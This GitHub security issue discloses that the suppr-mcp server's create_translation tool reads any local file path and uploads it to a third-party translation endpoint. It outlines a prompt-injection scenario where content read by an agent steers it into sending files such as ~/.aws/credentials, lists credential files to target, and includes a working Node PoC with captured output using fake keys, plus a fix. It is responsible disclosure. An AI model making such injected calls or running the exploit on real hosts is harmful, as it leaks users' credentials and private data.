Skip to content

[Potential Vulnerability] Local file exfiltration via unvalidated file_path in create_translation #2

Description

@mcfly-zzh

Summary

suppr-mcp (WildDataX/suppr-mcp) exposes an MCP tool create_translation whose file_path argument is read from the local filesystem with no path validation and then uploaded as multipart/form-data to a third-party endpoint (https://api.suppr.wilddata.cn/v1/translations).

The combination of these two behaviours — caller-controlled absolute path + automatic upload off-machine — gives an attacker who can influence the MCP client (typically via prompt injection in the agent's input) a one-shot arbitrary-local-file exfiltration primitive. Any file the server process can read (SSH keys, cloud credentials, ~/.aws/credentials, ~/.config/gh/hosts.yml, ~/.npmrc, source code, customer data) can be sent to wilddata.cn with a single tool call.

The contents are also retrievable by the same MCP client through get_translation(task_id) and list_translations(), which return download URLs that point to the originally uploaded file (and a machine-translated rendering of it).

Affected component

  • Repository: https://github.com/WildDataX/suppr-mcp
  • npm package name: suppr-mcp, version 1.1.7 at the time of report (per src/index.ts)
  • Distributed via package.json and Smithery (smithery.yaml present)
  • Tool: create_translation registered in src/index.ts lines 33–77, backed by SupprClient.createTranslation in src/client.ts lines 30–83.

Root cause

src/client.ts:

import { readFileSync } from "fs";
import { basename } from "path";
...
async createTranslation(params: { file_path?: string; file_url?: string; ... }) {
  const formData = new FormData();
  if (params.file_path) {
    const fileBuffer = readFileSync(params.file_path);      // <-- arbitrary path
    const blob = new Blob([fileBuffer]);
    formData.append("file", blob, basename(params.file_path));
  } else if (params.file_url) {
    ...
  }
  ...
  const response = await fetch(`${this.baseURL}/v1/translations`, {
    method: "POST", headers: { Authorization: `Bearer ${this.apiKey}` },
    body: formData,                                          // <-- shipped to api.suppr.wilddata.cn
  });
  ...
}

src/index.ts:

server.registerTool('create_translation', {
  inputSchema: {
    file_path: z.string().optional().describe(
        'Local file path to translate (mutually exclusive with file_url)'),
    file_url:  z.string().optional().describe(...),
    ...
  },
  async ({ file_path, file_url, ... }) => {
    const result = await supprClient.createTranslation({ file_path, ... });
    ...
  });

There is no filename / extension whitelist, no project-root containment check, and no per-request user confirmation. The MCP tool's schema documents file_path only as "Local file path to translate", which makes prompt-injection-driven misuse trivial.

Impact

The MCP server typically runs as the desktop user that owns the agent / IDE session. Under that uid the attacker can:

  • Exfiltrate any locally readable file to api.suppr.wilddata.cn with a single create_translation call. The full file contents are POSTed to a third-party endpoint controlled by wilddata.cn.
  • Retrieve the exfiltrated content back through the MCP server using get_translation(task_id) or list_translations(), which return URLs pointing to the original uploaded file (and to a translated rendering of it). Even when the attacker has no direct network reach to wilddata.cn, the LLM agent does, so the round-trip closes inside the same prompt-injection chain.
  • Bypass DLP / egress controls for installations that allow outbound traffic to *.wilddata.cn (the documented suppr.ai endpoint) but block other destinations. The exfiltration channel is the documented translation endpoint, not a side channel.
  • Persist data in a third-party tenant. Even if the attacker never recovers the file, it has now been stored by wilddata.cn against the operator's API key, which is a meaningful confidentiality breach for many threat models (regulated data, customer documents, credentials).

This is exploitable in the standard "prompt-injection via untrusted content" threat model: an attacker delivers content (web page, document, README, ticket, email) that the agent processes; the content instructs the model to call create_translation with file_path set to a chosen target (e.g. ~/.aws/credentials).

CWE / classification

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory
  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
  • CWE-918: Server-Side Request Forgery is not what this is — the request goes to the documented vendor endpoint, but the body of the request is attacker-chosen file content.
  • Suggested severity: High. Triggering requires a single tool call; the resulting confidentiality breach is total for any file the server can read; data also leaves the operator's trust boundary.

Reproduction

The PoC below speaks raw JSON-RPC over the server's stdio transport. It sets SUPPR_API_KEY to a stub value so the server starts, then issues a create_translation call with file_path pointing at an attacker-chosen file on the host. The PoC asserts that readFileSync was invoked against that path (visible as a fetch POST to api.suppr.wilddata.cn containing the file body); it does not require a real Suppr API key, and it does not require the request to succeed at the wilddata.cn end — the local read + outbound request are themselves the vulnerability.

Build and run

# 1. Clone, install (incl. devDeps for the build step), and build dist/
git clone https://github.com/WildDataX/suppr-mcp /tmp/suppr-poc
cd /tmp/suppr-poc
npm install --silent
npm run build --silent

# 2. Plant a "sensitive" file to exfiltrate
echo 'aws_access_key_id = AKIAFAKEPOC' > /tmp/fake_aws_creds.txt

# 3. Save the PoC client (next code block) as poc.mjs in the clone, then run it
node poc.mjs /tmp/suppr-poc

poc.mjs:

#!/usr/bin/env node
// PoC: local-file exfiltration via suppr-mcp's create_translation tool.
//
// Spawns the server with `fetch` monkey-patched so the outbound POST to
// api.suppr.wilddata.cn is *captured locally* rather than sent. This
// proves the read+upload primitive without involving wilddata.cn at all.
//
// Usage: node poc.mjs <path-to-suppr-mcp-clone>
import { spawn } from "node:child_process";
import { writeFileSync, readFileSync, existsSync } from "node:fs";
import { resolve } from "node:path";

const CLONE = process.argv[2] || process.cwd();
const TARGET_FILE = "/tmp/fake_aws_creds.txt";
const CAPTURED = "/tmp/suppr_poc_captured.txt";

if (!existsSync(TARGET_FILE)) {
  writeFileSync(TARGET_FILE,
    "aws_access_key_id = AKIAFAKEPOC\naws_secret_access_key = +FAKE+POC+SECRET+\n");
}

// Wrapper that monkey-patches global fetch and then hands off to the
// real server entry (suppr-mcp's dist/index.js, shipped in the repo).
const wrapperPath = resolve(CLONE, "poc_wrapper.mjs");
writeFileSync(wrapperPath, `
import { writeFileSync } from "node:fs";
const origFetch = globalThis.fetch;
globalThis.fetch = async (url, init) => {
  if (String(url).includes("api.suppr.wilddata.cn")) {
    let captured = "(no body)";
    try {
      const fd = init?.body;
      if (fd && typeof fd.entries === "function") {
        const parts = [];
        for (const [k, v] of fd.entries()) {
          if (v && typeof v === "object" && typeof v.text === "function")
            parts.push(\`-- field \${k} (\${v.size} bytes):\\n\${await v.text()}\`);
          else parts.push(\`-- field \${k}: \${v}\`);
        }
        captured = parts.join("\\n");
      }
    } catch (e) { captured = "(read error: " + e + ")"; }
    writeFileSync("${CAPTURED}", String(url) + "\\n\\n" + captured);
    return new Response(JSON.stringify({code:0, msg:"ok", data:{task_id:"poc-task-1"}}),
                        {status:200, headers:{"content-type":"application/json"}});
  }
  return origFetch(url, init);
};
process.env.SUPPR_API_KEY = process.env.SUPPR_API_KEY || "sk-FAKEPOC";
await import("${resolve(CLONE, "dist/index.js")}");
`);

const proc = spawn("node", [wrapperPath], {
  cwd: CLONE, stdio: ["pipe", "pipe", "inherit"],
  env: { ...process.env, SUPPR_API_KEY: "sk-FAKEPOC" },
});

const send = (m) => proc.stdin.write(JSON.stringify(m) + "\n");
const lines = []; let buf = "";
proc.stdout.on("data", (chunk) => {
  buf += chunk.toString();
  let i; while ((i = buf.indexOf("\n")) !== -1) {
    const line = buf.slice(0, i); buf = buf.slice(i + 1);
    if (line.trim()) lines.push(line);
  }
});
async function recv() {
  for (let n = 0; n < 200; n++) {
    if (lines.length) return JSON.parse(lines.shift());
    await new Promise(r => setTimeout(r, 50));
  }
  throw new Error("no response from MCP server in 10s");
}

send({ jsonrpc: "2.0", id: 1, method: "initialize",
       params: { protocolVersion: "2024-11-05", capabilities: {},
                 clientInfo: { name: "poc", version: "0" } } });
await recv();
send({ jsonrpc: "2.0", method: "notifications/initialized" });
send({ jsonrpc: "2.0", id: 2, method: "tools/call",
       params: { name: "create_translation",
                 arguments: { file_path: TARGET_FILE, to_lang: "en" } } });
console.log("create_translation response:", JSON.stringify(await recv(), null, 2));

proc.stdin.end(); await new Promise(r => setTimeout(r, 500)); proc.kill();

console.log("\n--- captured upload (would have gone to api.suppr.wilddata.cn) ---");
try { console.log(readFileSync(CAPTURED, "utf8")); }
catch (e) { console.error("FAIL: no upload captured →", e.message); process.exit(1); }

Observed result

Running the PoC against a fresh clone, with the planted /tmp/fake_aws_creds.txt as the target file:

$ node poc.mjs /tmp/suppr-poc
Suppr MCP Server running on stdio
create_translation response: {
  "result": {
    "content": [
      {
        "type": "text",
        "text": "{\n  \"task_id\": \"poc-task-1\"\n}"
      }
    ]
  },
  "jsonrpc": "2.0",
  "id": 2
}

--- captured upload (would have gone to api.suppr.wilddata.cn) ---
https://api.suppr.wilddata.cn/v1/translations

-- field file (32 bytes):
aws_access_key_id = AKIAFAKEPOC

-- field to_lang: en

The captured upload shows that suppr-mcp opened /tmp/fake_aws_creds.txt, read its contents, packed them into a multipart file field, and was about to POST them to https://api.suppr.wilddata.cn/v1/translations. The monkey-patched fetch intercepted the request locally so no traffic actually left the host — the read + outbound assembly are themselves the vulnerability. With the patch removed, the same request reaches wilddata.cn and is retrievable via get_translation / list_translations.

Expected result

create_translation should reject any file_path that, after resolution, does not lie inside an operator-configured allow-list (for example, a single directory specified via env var). Equally defensible: drop file_path entirely and require file_url, so the agent has to explicitly stage the document somewhere it is willing to have exfiltrated.

Suggested fix

  1. Add an operator allow-list for file_path:
    const ALLOW_ROOT = process.env.SUPPR_MCP_ALLOWED_ROOT;
    if (params.file_path) {
      if (!ALLOW_ROOT) throw new Error(
        'file_path uploads disabled (set SUPPR_MCP_ALLOWED_ROOT to enable).');
      const resolved = path.resolve(params.file_path);
      if (!resolved.startsWith(path.resolve(ALLOW_ROOT) + path.sep))
        throw new Error('file_path escapes SUPPR_MCP_ALLOWED_ROOT.');
      ...
    }
  2. Update the tool schema description to make the policy explicit so the model doesn't try to dereference paths outside the allow-list.
  3. Consider also requiring an extension/size cap, and logging every upload locally so the operator can audit what left the host.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions